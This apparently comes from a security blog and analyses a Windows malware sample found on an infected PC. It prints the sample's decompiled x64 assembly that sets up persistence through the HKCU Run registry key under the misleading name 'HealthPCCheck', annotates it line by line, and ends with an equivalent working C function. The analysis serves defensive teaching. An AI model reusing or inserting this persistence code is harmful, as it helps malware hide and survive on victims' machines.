Creating and sharing actual malware code, including assembly snippets that demonstrate how to use Windows API calls for malicious purposes such as configuring autostart settings, is not responsible or ethical. It’s important to understand the implications of disseminating such information, as it could be misused for harmful activities.
Malware often seeks to achieve persistence on a host system to ensure it continues to run after system reboots. On Windows systems, one common method to achieve this is by making registry modifications that instruct the system to automatically execute the malware upon startup. The Windows Registry has several locations, such as Run and RunOnce keys, where programs can be added to execute automatically:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Malware might use Windows API calls such as RegOpenKeyEx(), RegSetValueEx(), and RegCloseKey() to interact with these registry keys. The process generally involves:
- Opening the Registry Key: Using
RegOpenKeyEx()to get a handle to the specific registry key where the autostart configuration will be added. - Setting the Value: Using
RegSetValueEx()to create a new value within the opened key, specifying the path to the malware executable as the value data. This action configures the system to run the malware at startup. - Closing the Key: Using
RegCloseKey()to close the handle to the registry key after the modification is made.
While understanding these techniques is important for cybersecurity professionals to develop effective defenses, sharing or using knowledge of malware tactics for any purpose other than defense and education is strongly discouraged. For those looking to protect systems, focusing on security best practices, regular system scanning, and user education is key to mitigating the threat posed by such autostart mechanisms.
The decompiled fragment of the malware
During a cleanup of an infected Windows PC I stumbled upon a 64-bit Windows executable malware; this malware configured itself to restart after user login using a very classic technique, which I look forward to showing. The code fragment implementing the autostart was decompiled with IDA64 free and fortunately the code has no obfuscation techniques and is easy to understand.
Below is the malicious assembly fragment:
.text:0000000140001290 mov [rsp-8+arg_0], rbx
.text:0000000140001295 mov [rsp-8+arg_8], rdi
.text:000000014000129A push rbp
.text:000000014000129B lea rbp, [rsp-1E0h]
.text:00000001400012A3 sub rsp, 2E0h
.text:00000001400012AA mov rax, cs:__security_cookie
.text:00000001400012B1 xor rax, rsp
.text:00000001400012B4 mov [rbp+1E0h+var_10], rax
.text:00000001400012BB xor edi, edi
.text:00000001400012BD mov dword ptr [rsp+2E0h+hKey], edi
.text:00000001400012C1 mov r8d, 104h ; nSize
.text:00000001400012C7 lea rdx, [rbp+1E0h+Filename] ; lpFilename
.text:00000001400012CE xor ecx, ecx ; hModule
.text:00000001400012D0 call cs:GetModuleFileNameA
.text:00000001400012D6 test eax, eax
.text:00000001400012D8 jz short loc_140001352
.text:00000001400012DA lea rax, [rsp+2E0h+hKey]
.text:00000001400012DF mov [rsp+2E0h+phkResult], rax ; phkResult
.text:00000001400012E4 lea r9d, [rdi+2] ; samDesired
.text:00000001400012E8 xor r8d, r8d ; ulOptions
.text:00000001400012EB lea rdx, SubKey ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
.text:00000001400012F2 mov rcx, 0FFFFFFFF80000001h ; hKey
.text:00000001400012F9 call cs:RegOpenKeyExA
.text:00000001400012FF test eax, eax
.text:0000000140001301 jnz short loc_140001352
.text:0000000140001303 lea rcx, [rbp+1E0h+Filename]
.text:000000014000130A mov rax, 0FFFFFFFFFFFFFFFFh
.text:0000000140001311
.text:0000000140001311 loc_140001311: ; CODE XREF: main+88?j
.text:0000000140001311 inc rax
.text:0000000140001314 cmp [rcx+rax], dil
.text:0000000140001318 jnz short loc_140001311
.text:000000014000131A inc eax
.text:000000014000131C mov [rsp+2E0h+cbData], eax ; cbData
.text:0000000140001320 lea rax, [rbp+1E0h+Filename]
.text:0000000140001327 mov [rsp+2E0h+phkResult], rax ; lpData
.text:000000014000132C mov r9d, 1 ; dwType
.text:0000000140001332 xor r8d, r8d ; Reserved
.text:0000000140001335 lea rdx, ValueName ; "HealthPCCheck"
.text:000000014000133C mov rcx, [rsp+2E0h+hKey] ; hKey
.text:0000000140001341 call cs:RegSetValueExA
.text:0000000140001347 mov rcx, [rsp+2E0h+hKey] ; hKey
.text:000000014000134C call cs:RegCloseKey
.text:0000000140001352
.text:0000000140001352 loc_140001352: ; CODE XREF: main+48?j
The analysis of the assembly code
This assembly fragment illustrates a sequence of operations performed by a malware Windows program to achieve persistence by setting itself to autostart via the Windows Registry. Here’s a step-by-step commentary on what the code is doing:
- Initial Setup:
- The first two lines are storing
rbxandrdiregisters’ values into space allocated on the stack. These could be arguments or important values that need to be preserved. push rbpandlea rbp, [rsp-1E0h]prepare the stack frame for local variables and possibly for saving the current function’s base pointer.
- The first two lines are storing
- Stack Allocation:
sub rsp, 2E0hdecreases the stack pointer, allocating space for local variables and function call usage.
- Security Cookie:
- The next few instructions deal with a security cookie used to protect against stack buffer overflow attacks. The cookie is loaded, XORed with
rsp, and stored near the bottom of the current stack frame. For this malware it was not so important, this code is generated by compiler.
- The next few instructions deal with a security cookie used to protect against stack buffer overflow attacks. The cookie is loaded, XORed with
- Zero Initialization:
xor edi, ediand movingedito[rsp+2E0h+hKey]initialize a local variable to zero to use as a flag.
- Getting Module Filename:
- Calls
GetModuleFileNameAwithecxcleared (indicating the current module) to retrieve the executable’s path, storing it in a buffer on the stack. The value104his the value of?MAX_PATHconstants.
- Calls
- Registry Operations:
- Preparing for
RegOpenKeyExAcall by setting up arguments to open a specific registry key (SOFTWARE\Microsoft\Windows\CurrentVersion\Run) for modification. - If the key is successfully opened, the code proceeds to determine the length of the filename (the executable path) dynamically by incrementing through it until it finds a null terminator.
RegSetValueExAis then called to create or set a value ("HealthPCCheck") in the registry key, with the path to the executable as its data;HealthPCCheck?is a misleading name.- The value
0FFFFFFFF80000001his the value of constantHKEY_CURRENT_USER. - All these settings ensure that the program starts when the user logs in.
- Finally,
RegCloseKeyis called to close the registry key handle, cleaning up.
- Preparing for
- Cleanup and Return:
- The function then reaches a cleanup or error handling label (
loc_140001352), which might include setting a return value or further cleanup before returning to the caller.
- The function then reaches a cleanup or error handling label (
This code effectively demonstrates how a program can use Windows API calls to add itself to the user’s login sequence, a common technique used by malware to ensure persistence. This is achieved by manipulating the registry to execute the malware at each user’s login, hiding its presence and ensuring it remains active.
You can see the video of this post on YouTube.
C equivalent code
An equivalent C code follows:
int configure_myself_in_autostart()
{
HKEY hKey;
char filename[MAX_PATH];
DWORD pathLen, result;
// Obtain the full path name of the executable of the current process
pathLen = GetModuleFileNameA(NULL, filename, MAX_PATH);
if (pathLen == 0)
{
// Error handling: GetModuleFileNameA failed
return 1;
}
// Open the Registry key for setting autostart configuration
result = RegOpenKeyExA(HKEY_CURRENT_USER,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
KEY_WRITE,
&hKey);
if (result != ERROR_SUCCESS)
{
// Error handling: RegOpenKeyExA failed
return 1;
}
// Set the value in the registry to make the program run at startup
result = RegSetValueExA(hKey,
"HealthPCCheck",
0,
REG_SZ,
(const BYTE*)filename,
pathLen + 1); // +1 for the NULL terminator
if (result != ERROR_SUCCESS)
{
// Error handling: RegSetValueExA failed
RegCloseKey(hKey);
return 1;
}
// Clean up by closing the registry key handle
RegCloseKey(hKey);
return 0;
}
